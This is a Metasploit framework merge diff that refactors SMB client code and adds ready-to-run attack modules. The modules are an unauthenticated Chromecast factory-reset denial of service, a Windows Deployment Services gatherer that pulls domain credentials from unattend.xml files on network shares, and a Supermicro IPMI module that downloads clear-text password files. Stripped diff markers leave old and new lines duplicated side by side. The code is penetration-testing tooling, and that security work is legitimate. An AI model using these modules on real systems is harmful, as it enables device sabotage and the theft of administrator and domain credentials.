Merge branch 'upstream-master' into feature/MSP-9707/smb-bruteforce-refactor
James Lee
commit
85611702f9
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@ -150,72 +150,116 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
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packet.v['ProcessID'] = self.process_id.to_i
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end
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# The main dispatcher for all incoming SMB packets
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def smb_recv_parse(expected_type, ignore_errors = false)
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# Receive a full SMB reply and cache the parsed packet
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def smb_recv_and_cache
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@smb_recv_cache ||= []
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# This will throw an exception if it fails to read the whole packet
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data = self.smb_recv
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pkt = CONST::SMB_BASE_PKT.make_struct
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pkt.from_s(data)
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res = pkt
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# Store the received packet into the cache
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@smb_recv_cache << [ pkt, data, Time.now ]
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end
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# Scan the packet receive cache for a matching response
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def smb_recv_cache_find_match(expected_type)
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clean = []
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found = nil
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@smb_recv_cache.each do |cent|
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pkt, data, tstamp = cent
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# Return matching packets and mark for removal
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if pkt['Payload']['SMB'].v['Command'] == expected_type
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found = [pkt,data]
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clean << cent
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end
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# Purge any packets older than 5 minutes
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if Time.now.to_i - tstamp.to_i > 300
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clean << cent
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end
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break if found
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end
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clean.each do |cent|
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@smb_recv_cache.delete(cent)
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end
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found
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end
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# The main dispatcher for all incoming SMB packets
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def smb_recv_parse(expected_type, ignore_errors = false)
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pkt = nil
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data = nil
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# This allows for some leeway when a previous response has not
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# been processed but a new request was sent. The old response
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# will eventually be timed out of the cache.
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1.upto(3) do |attempt|
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smb_recv_and_cache
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pkt,data = smb_recv_cache_find_match(expected_type)
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break if pkt
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end
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begin
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case pkt['Payload']['SMB'].v['Command']
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when CONST::SMB_COM_NEGOTIATE
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res = smb_parse_negotiate(pkt, data)
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res = smb_parse_negotiate(pkt, data)
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when CONST::SMB_COM_SESSION_SETUP_ANDX
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res = smb_parse_session_setup(pkt, data)
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res = smb_parse_session_setup(pkt, data)
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when CONST::SMB_COM_TREE_CONNECT_ANDX
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res = smb_parse_tree_connect(pkt, data)
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res = smb_parse_tree_connect(pkt, data)
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when CONST::SMB_COM_TREE_DISCONNECT
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res = smb_parse_tree_disconnect(pkt, data)
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res = smb_parse_tree_disconnect(pkt, data)
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when CONST::SMB_COM_NT_CREATE_ANDX
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res = smb_parse_create(pkt, data)
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res = smb_parse_create(pkt, data)
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when CONST::SMB_COM_TRANSACTION, CONST::SMB_COM_TRANSACTION2
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res = smb_parse_trans(pkt, data)
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res = smb_parse_trans(pkt, data)
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when CONST::SMB_COM_NT_TRANSACT
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res = smb_parse_nttrans(pkt, data)
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res = smb_parse_nttrans(pkt, data)
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when CONST::SMB_COM_NT_TRANSACT_SECONDARY
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res = smb_parse_nttrans(pkt, data)
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res = smb_parse_nttrans(pkt, data)
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when CONST::SMB_COM_OPEN_ANDX
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res = smb_parse_open(pkt, data)
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res = smb_parse_open(pkt, data)
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when CONST::SMB_COM_WRITE_ANDX
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res = smb_parse_write(pkt, data)
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res = smb_parse_write(pkt, data)
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when CONST::SMB_COM_READ_ANDX
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res = smb_parse_read(pkt, data)
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res = smb_parse_read(pkt, data)
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when CONST::SMB_COM_CLOSE
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res = smb_parse_close(pkt, data)
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res = smb_parse_close(pkt, data)
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when CONST::SMB_COM_DELETE
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res = smb_parse_delete(pkt, data)
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res = smb_parse_delete(pkt, data)
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else
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raise XCEPT::InvalidCommand
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end
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if (pkt['Payload']['SMB'].v['Command'] != expected_type)
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raise XCEPT::InvalidType
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end
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if (ignore_errors == false and pkt['Payload']['SMB'].v['ErrorClass'] != 0)
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raise XCEPT::ErrorCode
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end
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rescue XCEPT::InvalidWordCount, XCEPT::InvalidCommand, XCEPT::InvalidType, XCEPT::ErrorCode
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rescue XCEPT::InvalidWordCount, XCEPT::InvalidCommand, XCEPT::ErrorCode
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$!.word_count = pkt['Payload']['SMB'].v['WordCount']
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$!.command = pkt['Payload']['SMB'].v['Command']
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$!.error_code = pkt['Payload']['SMB'].v['ErrorClass']
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@ -1837,88 +1881,150 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
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0, # Storage type is zero
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].pack('vvvvV') + path + "\x00"
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begin
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resp = trans2(CONST::TRANS2_FIND_FIRST2, parm, '')
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search_next = 0
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begin
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pcnt = resp['Payload'].v['ParamCount']
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dcnt = resp['Payload'].v['DataCount']
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poff = resp['Payload'].v['ParamOffset']
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doff = resp['Payload'].v['DataOffset']
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resp = trans2(CONST::TRANS2_FIND_FIRST2, parm, '')
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search_next = 0
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# Get the raw packet bytes
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resp_rpkt = resp.to_s
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# Loop until we run out of results
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loop do
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pcnt = resp['Payload'].v['ParamCount']
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dcnt = resp['Payload'].v['DataCount']
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poff = resp['Payload'].v['ParamOffset']
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doff = resp['Payload'].v['DataOffset']
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# Remove the NetBIOS header
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resp_rpkt.slice!(0, 4)
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# Get the raw packet bytes
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resp_rpkt = resp.to_s
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resp_parm = resp_rpkt[poff, pcnt]
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resp_data = resp_rpkt[doff, dcnt]
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# Remove the NetBIOS header
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resp_rpkt.slice!(0, 4)
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if search_next == 0
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# search id, search count, end of search, error offset, last name offset
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sid, scnt, eos, eoff, loff = resp_parm.unpack('v5')
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else
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# FINX_NEXT doesn't return a SID
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scnt, eos, eoff, loff = resp_parm.unpack('v4')
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end
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didx = 0
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while (didx < resp_data.length)
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info_buff = resp_data[didx, 70]
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break if info_buff.length != 70
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info = info_buff.unpack(
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'V'+ # Next Entry Offset
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'V'+ # File Index
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'VV'+ # Time Create
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'VV'+ # Time Last Access
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'VV'+ # Time Last Write
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'VV'+ # Time Change
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'VV'+ # End of File
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'VV'+ # Allocation Size
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'V'+ # File Attributes
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'V'+ # File Name Length
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'V'+ # Extended Attr List Length
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'C'+ # Short File Name Length
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'C' # Reserved
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)
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name = resp_data[didx + 70 + 24, info[15]].sub(/\x00+$/n, '')
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files[name] =
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{
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'type' => ((info[14] & 0x10)==0x10) ? 'D' : 'F',
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'attr' => info[14],
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'info' => info
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}
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resp_parm = resp_rpkt[poff, pcnt]
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resp_data = resp_rpkt[doff, dcnt]
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break if info[0] == 0
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didx += info[0]
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end
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last_search_id = sid
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last_offset = loff
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last_filename = name
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if eos == 0 and last_offset != 0 #If we aren't at the end of the search, run find_next
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resp = find_next(last_search_id, last_offset, last_filename)
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search_next = 1 # Flip bit so response params will parse correctly
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end
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end until eos != 0 or last_offset == 0
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rescue ::Exception
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raise $!
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if search_next == 0
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# search id, search count, end of search, error offset, last name offset
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sid, scnt, eos, eoff, loff = resp_parm.unpack('v5')
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else
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# FIND_NEXT doesn't return a SID
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scnt, eos, eoff, loff = resp_parm.unpack('v4')
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end
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didx = 0
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while (didx < resp_data.length)
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info_buff = resp_data[didx, 70]
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break if info_buff.length != 70
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info = info_buff.unpack(
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'V'+ # Next Entry Offset
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'V'+ # File Index
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'VV'+ # Time Create
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'VV'+ # Time Last Access
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'VV'+ # Time Last Write
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'VV'+ # Time Change
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'VV'+ # End of File
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'VV'+ # Allocation Size
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'V'+ # File Attributes
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'V'+ # File Name Length
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'V'+ # Extended Attr List Length
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'C'+ # Short File Name Length
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'C' # Reserved
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)
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name = resp_data[didx + 70 + 24, info[15]]
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# Verify that the filename was actually present
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break unless name
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# Key the file list minus any trailing nulls
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files[name.sub(/\x00+$/n, '')] =
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{
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'type' => ( info[14] & CONST::SMB_EXT_FILE_ATTR_DIRECTORY == 0 ) ? 'F' : 'D',
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'attr' => info[14],
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'info' => info
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}
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break if info[0] == 0
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didx += info[0]
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end
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last_search_id = sid
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last_offset = loff
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last_filename = name
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# Exit the search if we reached the end of our results
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break if (eos != 0 or last_search_id.nil? or last_offset.to_i == 0)
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# If we aren't at the end of the search, run find_next
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resp = find_next(last_search_id, last_offset, last_filename)
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# Flip bit so response params will parse correctly
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search_next = 1
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end
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return files
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files
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end
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# Supplements find_first if file/dir count exceeds max search count
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def find_next(sid, resume_key, last_filename)
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parm = [
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sid, # Search ID
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20, # Maximum search count (Size of 20 keeps response to 1 packet)
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260, # Level of interest
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resume_key, # Resume key from previous (Last name offset)
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6, # Close search if end of search
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].pack('vvvVv') + last_filename.to_s + "\x00" # Last filename returned from find_first or find_next
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resp = trans2(CONST::TRANS2_FIND_NEXT2, parm, '')
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return resp # Returns the FIND_NEXT2 response packet for parsing by the find_first function
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sid, # Search ID
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20, # Maximum search count (Size of 20 keeps response to 1 packet)
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260, # Level of interest
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resume_key, # Resume key from previous (Last name offset)
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6, # Close search if end of search
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].pack('vvvVv') +
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last_filename.to_s + # Last filename returned from find_first or find_next
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"\x00" # Terminate the file name
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# Returns the FIND_NEXT2 response packet for parsing by the find_first function
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trans2(CONST::TRANS2_FIND_NEXT2, parm, '')
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end
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# Recursively search for files matching a regular expression
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def file_search(current_path, regex, depth)
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depth -= 1
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return [] if depth < 0
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results = find_first(current_path + "*")
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files = []
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results.each_pair do |fname, finfo|
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# Skip current and parent directory results
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next if %W{. ..}.include?(fname)
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# Verify the results contain an attribute
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next unless finfo and finfo['attr']
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if finfo['attr'] & CONST::SMB_EXT_FILE_ATTR_DIRECTORY == 0
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# Add any matching files to our result set
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files << "#{current_path}#{fname}" if fname =~ regex
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else
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# Recurse into the discovery subdirectory for more files
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begin
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search_path = "#{current_path}#{fname}\\"
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file_search(search_path, regex, depth).each {|fn| files << fn }
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rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
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# Ignore common errors related to permissions and non-files
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if %W{
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STATUS_ACCESS_DENIED
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STATUS_NO_SUCH_FILE
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STATUS_OBJECT_NAME_NOT_FOUND
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STATUS_OBJECT_PATH_NOT_FOUND
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}.include? e.get_error(e.error_code)
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next
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end
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$stderr.puts [e, e.get_error(e.error_code), search_path]
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raise e
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end
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end
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end
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files.uniq
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end
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# Creates a new directory on the mounted tree
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@ -1931,9 +2037,8 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
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# public read/write methods
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attr_accessor :native_os, :native_lm, :encrypt_passwords, :extended_security, :read_timeout, :evasion_opts
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attr_accessor :verify_signature, :use_ntlmv2, :usentlm2_session, :send_lm, :use_lanman_key, :send_ntlm
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attr_accessor :system_time, :system_zone
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#misc
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attr_accessor :spnopt # used for SPN
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attr_accessor :system_time, :system_zone
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attr_accessor :spnopt
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# public read methods
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attr_reader :dialect, :session_id, :challenge_key, :peer_native_lm, :peer_native_os
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@ -1941,21 +2046,18 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
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attr_reader :multiplex_id, :last_tree_id, :last_file_id, :process_id, :last_search_id
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attr_reader :dns_host_name, :dns_domain_name
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attr_reader :security_mode, :server_guid
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#signing related
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attr_reader :sequence_counter,:signing_key, :require_signing
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# private methods
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# private write methods
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attr_writer :dialect, :session_id, :challenge_key, :peer_native_lm, :peer_native_os
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attr_writer :default_domain, :default_name, :auth_user, :auth_user_id
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attr_writer :dns_host_name, :dns_domain_name
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attr_writer :multiplex_id, :last_tree_id, :last_file_id, :process_id, :last_search_id
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attr_writer :security_mode, :server_guid
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#signing related
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attr_writer :sequence_counter,:signing_key, :require_signing
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attr_accessor :socket
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end
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end
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end
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|
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@ -261,6 +261,23 @@ FILE_FILE_COMPRESSION = 0x00000008
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FILE_VOLUME_QUOTAS = 0x00000010
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FILE_VOLUME_IS_COMPRESSED = 0x00008000
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# SMB_EXT_FILE_ATTR
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# http://msdn.microsoft.com/en-us/library/ee878573(prot.20).aspx
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SMB_EXT_FILE_ATTR_READONLY = 0x00000001
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SMB_EXT_FILE_ATTR_HIDDEN = 0x00000002
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SMB_EXT_FILE_ATTR_SYSTEM = 0x00000004
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SMB_EXT_FILE_ATTR_DIRECTORY = 0x00000010
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SMB_EXT_FILE_ATTR_ARCHIVE = 0x00000020
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SMB_EXT_FILE_ATTR_NORMAL = 0x00000080
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SMB_EXT_FILE_ATTR_TEMPORARY = 0x00000100
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SMB_EXT_FILE_ATTR_COMPRESSED = 0x00000800
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SMB_EXT_FILE_POSIX_SEMANTICS = 0x01000000
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SMB_EXT_FILE_BACKUP_SEMANTICS = 0x02000000
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SMB_EXT_FILE_DELETE_ON_CLOSE = 0x04000000
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SMB_EXT_FILE_SEQUENTIAL_SCAN = 0x08000000
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SMB_EXT_FILE_RANDOM_ACCESS = 0x10000000
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SMB_EXT_FILE_NO_BUFFERING = 0x20000000
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SMB_EXT_FILE_WRITE_THROUGH = 0x80000000
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# SMB Error Codes
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SMB_STATUS_SUCCESS = 0x00000000
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|
|
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@ -505,14 +505,24 @@ module Socket
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end
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#
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# Converts a port specification like "80,21-23,443" into a sorted,
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# unique array of valid port numbers like [21,22,23,80,443]
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# Converts a port specification like "80,21-25,!24,443" into a sorted,
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# unique array of valid port numbers like [21,22,23,25,80,443]
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#
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def self.portspec_to_portlist(pspec)
|
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ports = []
|
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remove = []
|
||||
|
||||
# Build ports array from port specification
|
||||
pspec.split(/,/).each do |item|
|
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target = ports
|
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item.strip!
|
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|
||||
if item.start_with? '!'
|
||||
item.delete! '!'
|
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target = remove
|
||||
end
|
||||
|
||||
start, stop = item.split(/-/).map { |p| p.to_i }
|
||||
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||||
start ||= 0
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||||
|
|
@ -520,11 +530,15 @@ module Socket
|
|||
|
||||
start, stop = stop, start if stop < start
|
||||
|
||||
start.upto(stop) { |p| ports << p }
|
||||
start.upto(stop) { |p| target << p }
|
||||
end
|
||||
|
||||
if ports.empty? and not remove.empty? then
|
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ports = 0.upto 65535
|
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end
|
||||
|
||||
# Sort, and remove dups and invalid ports
|
||||
ports.sort.uniq.delete_if { |p| p < 1 or p > 65535 }
|
||||
ports.sort.uniq.delete_if { |p| p < 0 or p > 65535 or remove.include? p }
|
||||
end
|
||||
|
||||
#
|
||||
|
|
@ -537,7 +551,7 @@ module Socket
|
|||
lastp = nil
|
||||
|
||||
parr.uniq.sort{|a,b| a<=>b}.map{|a| a.to_i}.each do |n|
|
||||
next if (n < 1 or n > 65535)
|
||||
next if (n < 0 or n > 65535)
|
||||
if not lastp
|
||||
range = [n]
|
||||
lastp = n
|
||||
|
|
|
|||
|
|
@ -0,0 +1,58 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Chromecast Factory Reset DoS',
|
||||
'Description' => %q{
|
||||
This module performs a factory reset on a Chromecast, causing a denial of service (DoS).
|
||||
No user authentication is required.
|
||||
},
|
||||
'Author' => ['wvu'],
|
||||
'References' => [
|
||||
['URL', 'http://www.google.com/intl/en/chrome/devices/chromecast/index.html'] # vendor website
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(8008)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
res = reset
|
||||
|
||||
if res && res.code == 200
|
||||
print_good('Factory reset performed')
|
||||
elsif res
|
||||
print_error("An error occurred: #{res.code} #{res.message}")
|
||||
end
|
||||
end
|
||||
|
||||
def reset
|
||||
begin
|
||||
send_request_raw(
|
||||
'method' => 'POST',
|
||||
'uri' => '/setup/reboot',
|
||||
'agent' => Rex::Text.rand_text_english(rand(42) + 1),
|
||||
'ctype' => 'application/json',
|
||||
'data' => '{"params": "fdr"}'
|
||||
)
|
||||
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
|
||||
Rex::HostUnreachable => e
|
||||
fail_with(Failure::Unreachable, e)
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -17,7 +17,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
},
|
||||
'Author' => ['wvu'],
|
||||
'References' => [
|
||||
['URL', 'https://en.wikipedia.org/wiki/Chromecast']
|
||||
['URL', 'http://www.google.com/intl/en/chrome/devices/chromecast/index.html'] # vendor website
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [
|
||||
|
|
|
|||
|
|
@ -17,7 +17,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
},
|
||||
'Author' => ['wvu'],
|
||||
'References' => [
|
||||
['URL', 'https://en.wikipedia.org/wiki/Chromecast']
|
||||
['URL', 'http://www.google.com/intl/en/chrome/devices/chromecast/index.html'] # vendor website
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
|
@ -38,6 +38,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
'PWR',
|
||||
'ENC',
|
||||
'CIPHER',
|
||||
'AUTH',
|
||||
'ESSID'
|
||||
],
|
||||
'SortIndex' => -1
|
||||
|
|
@ -47,26 +48,9 @@ class Metasploit4 < Msf::Auxiliary
|
|||
waps << [
|
||||
wap['bssid'],
|
||||
wap['signal_level'],
|
||||
case wap['wpa_auth']
|
||||
when 1
|
||||
'OPN'
|
||||
when 5
|
||||
'WPA'
|
||||
when 7
|
||||
'WPA2'
|
||||
else
|
||||
wap['wpa_auth']
|
||||
end,
|
||||
case wap['wpa_cipher']
|
||||
when 1
|
||||
''
|
||||
when 3
|
||||
'TKIP'
|
||||
when 4
|
||||
'CCMP'
|
||||
else
|
||||
wap['wpa_cipher']
|
||||
end,
|
||||
enc(wap),
|
||||
cipher(wap),
|
||||
auth(wap),
|
||||
wap['ssid'] + (wap['wpa_id'] ? ' (*)' : '')
|
||||
]
|
||||
end
|
||||
|
|
@ -103,4 +87,45 @@ class Metasploit4 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
def enc(wap)
|
||||
case wap['wpa_auth']
|
||||
when 1
|
||||
'OPN'
|
||||
when 2
|
||||
'WEP'
|
||||
when 5
|
||||
'WPA'
|
||||
when 0, 7
|
||||
'WPA2'
|
||||
else
|
||||
wap['wpa_auth']
|
||||
end
|
||||
end
|
||||
|
||||
def cipher(wap)
|
||||
case wap['wpa_cipher']
|
||||
when 1
|
||||
''
|
||||
when 2
|
||||
'WEP'
|
||||
when 3
|
||||
'TKIP'
|
||||
when 4
|
||||
'CCMP'
|
||||
else
|
||||
wap['wpa_cipher']
|
||||
end
|
||||
end
|
||||
|
||||
def auth(wap)
|
||||
case wap['wpa_auth']
|
||||
when 0
|
||||
'MGT'
|
||||
when 5, 7
|
||||
'PSK'
|
||||
else
|
||||
''
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
|||
|
|
@ -0,0 +1,232 @@
|
|||
#
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/dcerpc'
|
||||
require 'rex/parser/unattend'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::SMB
|
||||
include Msf::Exploit::Remote::SMB::Authenticated
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft Windows Deployment Services Unattend Gatherer',
|
||||
'Description' => %q{
|
||||
This module will search remote file shares for unattended installation files that may contain
|
||||
domain credentials. This is often used after discovering domain credentials with the
|
||||
auxilliary/scanner/dcerpc/windows_deployment_services module or in cases where you already
|
||||
have domain credentials. This module will connect to the RemInst share and any Microsoft
|
||||
Deployment Toolkit shares indicated by the share name comments.
|
||||
},
|
||||
'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'MSDN', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'],
|
||||
[ 'URL', 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html'],
|
||||
],
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(445),
|
||||
OptString.new('SMBDomain', [ false, "SMB Domain", '']),
|
||||
], self.class)
|
||||
|
||||
deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion')
|
||||
end
|
||||
|
||||
# Determine the type of share based on an ID type value
|
||||
def share_type(val)
|
||||
stypes = %W{ DISK PRINTER DEVICE IPC SPECIAL TEMPORARY }
|
||||
stypes[val] || 'UNKNOWN'
|
||||
end
|
||||
|
||||
|
||||
# Stolen from enumshares - Tried refactoring into simple client, but the two methods need to go in EXPLOIT::SMB and EXPLOIT::DCERPC
|
||||
# and then the lanman method calls the RPC method. Suggestions where to refactor to welcomed!
|
||||
def srvsvc_netshareenum
|
||||
shares = []
|
||||
handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"])
|
||||
|
||||
begin
|
||||
dcerpc_bind(handle)
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
print_error("#{rhost} : #{e.message}")
|
||||
return
|
||||
end
|
||||
|
||||
stubdata =
|
||||
NDR.uwstring("\\\\#{rhost}") +
|
||||
NDR.long(1) #level
|
||||
|
||||
ref_id = stubdata[0,4].unpack("V")[0]
|
||||
ctr = [1, ref_id + 4 , 0, 0].pack("VVVV")
|
||||
|
||||
stubdata << ctr
|
||||
stubdata << NDR.align(ctr)
|
||||
stubdata << [0xffffffff].pack("V")
|
||||
stubdata << [ref_id + 8, 0].pack("VV")
|
||||
|
||||
response = dcerpc.call(0x0f, stubdata)
|
||||
|
||||
# Additional error handling and validation needs to occur before
|
||||
# this code can be moved into a mixin
|
||||
|
||||
res = response.dup
|
||||
win_error = res.slice!(-4, 4).unpack("V")[0]
|
||||
if win_error != 0
|
||||
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} Win_error = #{win_error.to_i}")
|
||||
end
|
||||
|
||||
# Level, CTR header, Reference ID of CTR
|
||||
res.slice!(0,12)
|
||||
share_count = res.slice!(0, 4).unpack("V")[0]
|
||||
|
||||
# Reference ID of CTR1
|
||||
res.slice!(0,4)
|
||||
share_max_count = res.slice!(0, 4).unpack("V")[0]
|
||||
|
||||
if share_max_count != share_count
|
||||
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share_max_count did not match share_count")
|
||||
end
|
||||
|
||||
# ReferenceID / Type / ReferenceID of Comment
|
||||
types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]}
|
||||
|
||||
share_count.times do |t|
|
||||
length, offset, max_length = res.slice!(0, 12).unpack("VVV")
|
||||
|
||||
if offset != 0
|
||||
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share offset was not zero")
|
||||
end
|
||||
|
||||
if length != max_length
|
||||
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share name max length was not length")
|
||||
end
|
||||
|
||||
name = res.slice!(0, 2 * length)
|
||||
res.slice!(0,2) if length % 2 == 1 # pad
|
||||
|
||||
comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV")
|
||||
|
||||
if comment_offset != 0
|
||||
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share comment offset was not zero")
|
||||
end
|
||||
|
||||
if comment_length != comment_max_length
|
||||
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share comment max length was not length")
|
||||
end
|
||||
|
||||
comment = res.slice!(0, 2 * comment_length)
|
||||
res.slice!(0,2) if comment_length % 2 == 1 # pad
|
||||
|
||||
shares << [ name, share_type(types[t]), comment]
|
||||
end
|
||||
|
||||
shares
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
deploy_shares = []
|
||||
|
||||
begin
|
||||
connect
|
||||
smb_login
|
||||
srvsvc_netshareenum.each do |share|
|
||||
# Ghetto unicode to ascii conversation
|
||||
share_name = share[0].unpack("v*").pack("C*").split("\x00").first
|
||||
share_comm = share[2].unpack("v*").pack("C*").split("\x00").first
|
||||
share_type = share[1]
|
||||
|
||||
if share_type == "DISK" && (share_name == "REMINST" || share_comm == "MDT Deployment Share")
|
||||
vprint_good("#{ip}:#{rport} Identified deployment share #{share_name} #{share_comm}")
|
||||
deploy_shares << share_name
|
||||
end
|
||||
end
|
||||
|
||||
deploy_shares.each do |deploy_share|
|
||||
query_share(deploy_share)
|
||||
end
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
end
|
||||
end
|
||||
|
||||
def query_share(share)
|
||||
share_path = "\\\\#{rhost}\\#{share}"
|
||||
vprint_status("#{rhost}:#{rport} Enumerating #{share}...")
|
||||
|
||||
begin
|
||||
simple.connect(share_path)
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
print_error("#{rhost}:#{rport} Could not access share: #{share} - #{e}")
|
||||
return
|
||||
end
|
||||
|
||||
results = simple.client.file_search("\\", /unattend.xml$/i, 10)
|
||||
|
||||
results.each do |file_path|
|
||||
file = simple.open(file_path, 'o').read()
|
||||
next unless file
|
||||
|
||||
loot_unattend(file)
|
||||
|
||||
creds = parse_client_unattend(file)
|
||||
creds.each do |cred|
|
||||
next unless (cred && cred['username'] && cred['password'])
|
||||
next unless cred['username'].to_s.length > 0
|
||||
next unless cred['password'].to_s.length > 0
|
||||
|
||||
report_creds(cred['domain'].to_s, cred['username'], cred['password'])
|
||||
print_good("#{rhost}:#{rport} Credentials: " +
|
||||
"Path=#{share_path}#{file_path} " +
|
||||
"Username=#{cred['domain'].to_s}\\#{cred['username'].to_s} " +
|
||||
"Password=#{cred['password'].to_s}"
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def parse_client_unattend(data)
|
||||
|
||||
begin
|
||||
xml = REXML::Document.new(data)
|
||||
rescue REXML::ParseException => e
|
||||
print_error("Invalid XML format")
|
||||
vprint_line(e.message)
|
||||
end
|
||||
Rex::Parser::Unattend.parse(xml).flatten
|
||||
end
|
||||
|
||||
def loot_unattend(data)
|
||||
return if data.empty?
|
||||
path = store_loot('windows.unattend.raw', 'text/plain', rhost, data, "Windows Deployment Services")
|
||||
print_status("#{rhost}:#{rport} Stored unattend.xml in #{path}")
|
||||
end
|
||||
|
||||
def report_creds(domain, user, pass)
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => 445,
|
||||
:sname => 'smb',
|
||||
:proto => 'tcp',
|
||||
:source_id => nil,
|
||||
:source_type => "aux",
|
||||
:user => "#{domain}\\#{user}",
|
||||
:pass => pass
|
||||
)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
@ -0,0 +1,104 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'uri'
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Supermicro Onboard IPMI Port 49152 Sensitive File Exposure',
|
||||
'Description' => %q{
|
||||
This module abuses a file exposure vulnerability accessible through the web interface
|
||||
on port 49152 of Supermicro Onboard IPMI controllers. The vulnerability allows an attacker
|
||||
to obtain detailed device information and download data files containing the clear-text
|
||||
usernames and passwords for the controller. In May of 2014, at least 30,000 unique IPs
|
||||
were exposed to the internet with this vulnerability.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Zach Wikholm <kestrel[at]trylinux.us>', # Discovery and analysis
|
||||
'John Matherly <jmath[at]shodan.io>', # Internet-wide scan
|
||||
'Dan Farmer <zen[at]fish2.com>', # Additional investigation
|
||||
'hdm' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-and-some-added-extras/'],
|
||||
[ 'URL', 'https://github.com/zenfish/ipmi/blob/master/dump_SM.py']
|
||||
],
|
||||
'DisclosureDate' => 'Jun 19 2014'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(49152)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def is_supermicro?
|
||||
res = send_request_cgi(
|
||||
{
|
||||
"uri" => "/IPMIdevicedesc.xml",
|
||||
"method" => "GET"
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body.to_s =~ /supermicro/i
|
||||
path = store_loot(
|
||||
'supermicro.ipmi.devicexml',
|
||||
'text/xml',
|
||||
rhost,
|
||||
res.body.to_s,
|
||||
'IPMIdevicedesc.xml'
|
||||
)
|
||||
print_good("#{peer} - Stored the device description XML in #{path}")
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
unless is_supermicro?
|
||||
vprint_error("#{peer} - This does not appear to be a Supermicro IPMI controller")
|
||||
return
|
||||
end
|
||||
|
||||
candidates = %W{ /PSBlock /PSStore /PMConfig.dat /wsman/simple_auth.passwd }
|
||||
|
||||
candidates.each do |uri|
|
||||
res = send_request_cgi(
|
||||
{
|
||||
"uri" => uri,
|
||||
"method" => "GET"
|
||||
})
|
||||
|
||||
next unless res
|
||||
|
||||
unless res.code == 200 && res.body.length > 0
|
||||
vprint_status("#{peer} - Request for #{uri} resulted in #{res.code}")
|
||||
next
|
||||
end
|
||||
|
||||
path = store_loot(
|
||||
'supermicro.ipmi.passwords',
|
||||
'application/octet-stream',
|
||||
rhost,
|
||||
res.body.to_s,
|
||||
uri.split('/').last
|
||||
)
|
||||
print_good("#{peer} - Password data from #{uri} stored to #{path}")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
